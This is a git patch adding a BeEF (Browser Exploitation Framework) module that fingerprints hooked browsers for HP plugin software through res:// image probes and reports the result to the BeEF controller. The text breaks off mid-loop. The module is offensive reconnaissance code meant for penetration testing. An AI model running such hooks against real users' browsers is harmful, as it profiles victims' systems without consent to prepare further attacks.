From fab0bf6b248dcb925353543d382846eab53e7864 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 20 Mar 2014 00:52:25 +1030 Subject: [PATCH] Add Detect HP module --- modules/host/detect_hp/command.js | 35 ++++++++++++++++++++++++++++++ modules/host/detect_hp/config.yaml | 16 ++++++++++++++ modules/host/detect_hp/module.rb | 15 +++++++++++++ 3 files changed, 66 insertions(+) create mode 100644 modules/host/detect_hp/command.js create mode 100644 modules/host/detect_hp/config.yaml create mode 100644 modules/host/detect_hp/module.rb diff --git a/modules/host/detect_hp/command.js b/modules/host/detect_hp/command.js new file mode 100644 index 000000000..25ba80321 --- /dev/null +++ b/modules/host/detect_hp/command.js @@ -0,0 +1,35 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var is_hp = new Array; + var dom = document.createElement('b'); + + parse_results = function() { + var result = "false"; + if (is_hp.length) result = "true"; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result); + }; + + var fingerprints = new Array( + new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"), + new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png") + ); + + for (var i=0; i